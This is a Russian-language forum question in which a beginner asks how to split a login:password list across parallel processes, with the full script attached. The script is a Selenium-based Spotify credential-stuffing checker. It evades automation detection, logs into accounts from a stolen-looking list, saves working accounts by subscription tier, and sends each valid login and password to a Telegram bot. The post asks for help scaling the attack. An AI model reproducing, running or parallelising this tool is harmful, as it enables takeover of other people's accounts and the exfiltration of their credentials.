Как присвоить каждому потоку свои данные?
Не могу каждому присвоить свои данные, имеется база где хранятся log:pass нужно чтобы каждый поток брал на себя какую-то часть условно запуская 4 потока с базой в 101 строку потоки делились 30, 30, 30, 11. На данном моменте открывается только несколько окон, но во все окна вводит одни те же данные. Объясните новокеку как и что пожалуйста)
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
from termcolor import cprint
from colorama import init, Fore
import requests
from multiprocessing import Pool, Process
from threading import *
init(autoreset=True)
chrome_options = Options()
chrome_options.add_argument('--log-level=3')
chrome_options.add_argument("--disable-blink-features=AutomationControlled")
#chrome_options.add_argument('--headless') #убираем GUI интерфейс
driver = webdriver.Chrome(options=chrome_options)
spotify = 'https://www.spotify.com/us/account/overview/?utm_source=spotify&utm_medium=menu&utm_campaign=your_account'
#file = open('base.txt').read().split('\n')
premium = open('Premium.txt', 'a+')
chat_id = "" # @userinfobot получить свой ID
token_bot = "" # @BotFather запускаете бота, после /newbot вводите ник его юзернейм и вам выдаст токен бота
def spoti(file):
i = 0
with open("base.txt", "r") as file:
for txt in file:
driver.get(spotify)
username = txt.split(":")[0]
password = txt.split(":")[1]
time.sleep(2)
driver.find_element(By.XPATH, '//*[@id="login-username"]').clear()
driver.find_element(By.XPATH, '/html/body/div[1]/div/div[2]/div/div/div[2]/div[1]/input').send_keys(username)
driver.find_element(By.XPATH, '/html/body/div[1]/div/div[2]/div/div/div[2]/div[2]/input').send_keys(password)
driver.find_element(By.XPATH, '/html/body/div[1]/div/div[2]/div/div/div[2]/div[3]/div[2]/button/div[1]/p').click()
i += 1
if i == 20:
print("----------")
i = 0
try:
element = WebDriverWait(driver, 4).until(EC.presence_of_element_located((By.XPATH, '//*[@id="your-plan"]/section/div/div[1]/div[1]/span')))
if element.text == 'Spotify Premium':
premium.write('Spotify Premium ' + username + ':' + password + '\n')
print(Fore.GREEN + 'Spotify Premium ' + username + ':' + password)
requests.post('https://api.telegram.org/bot' + token_bot + '/sendMessage?chat_id=' + chat_id + '&text=' + 'Spotify Premium%' + username + ':' + password)
elif element.text == 'Spotify Premium Family':
premium.write('Spotify Premium Family ' + username + ':' + password + '\n')
cprint('Spotify Premium Family ' + username + ':' + password, 'green')
requests.post('https://api.telegram.org/bot' + token_bot + '/sendMessage?chat_id=' + chat_id + '&text=' + 'Spotify Premium ' + username + ':' + password)
elif element.text == 'Premium for Students':
premium.write('Premium for Students ' + username + ':' + password + '\n')
cprint('Premium for Students ' + username + ':' + password, 'green')
requests.post('https://api.telegram.org/bot' + token_bot + '/sendMessage?chat_id=' + chat_id + '&text=' + 'Spotify Premium ' + username + ':' + password)
elif element.text == 'Spotify Premium Duo':
premium.write('Spotify Premium Duo ' + username + ':' + password + '\n')
cprint('Spotify Premium Duo ' + username + ':' + password, 'green')
requests.post('https://api.telegram.org/bot' + token_bot + '/sendMessage?chat_id=' + chat_id + '&text=' + 'Spotify Premium ' + username + ':' + password)
elif element.text == 'Spotify Free':
premium.write('Spotify Free ' + username + ':' + password + '\n')
cprint('Spotify Free ' + username + ':' + password, 'green')
requests.post('https://api.telegram.org/bot' + token_bot + '/sendMessage?chat_id=' + chat_id + '&text=' + 'Spotify Premium ' + username + ':' + password)
except TimeoutException:
cprint('[BAD]'+ username + ':' + password, 'red')
driver.delete_all_cookies()
driver.get(spotify)
if __name__ == '__main__':
process_count = int(input("Введите кол-во процессов: "))
urls_list = [spotify] * process_count
print(urls_list)
p = Pool(processes=process_count, )
p.map(spoti, urls_list)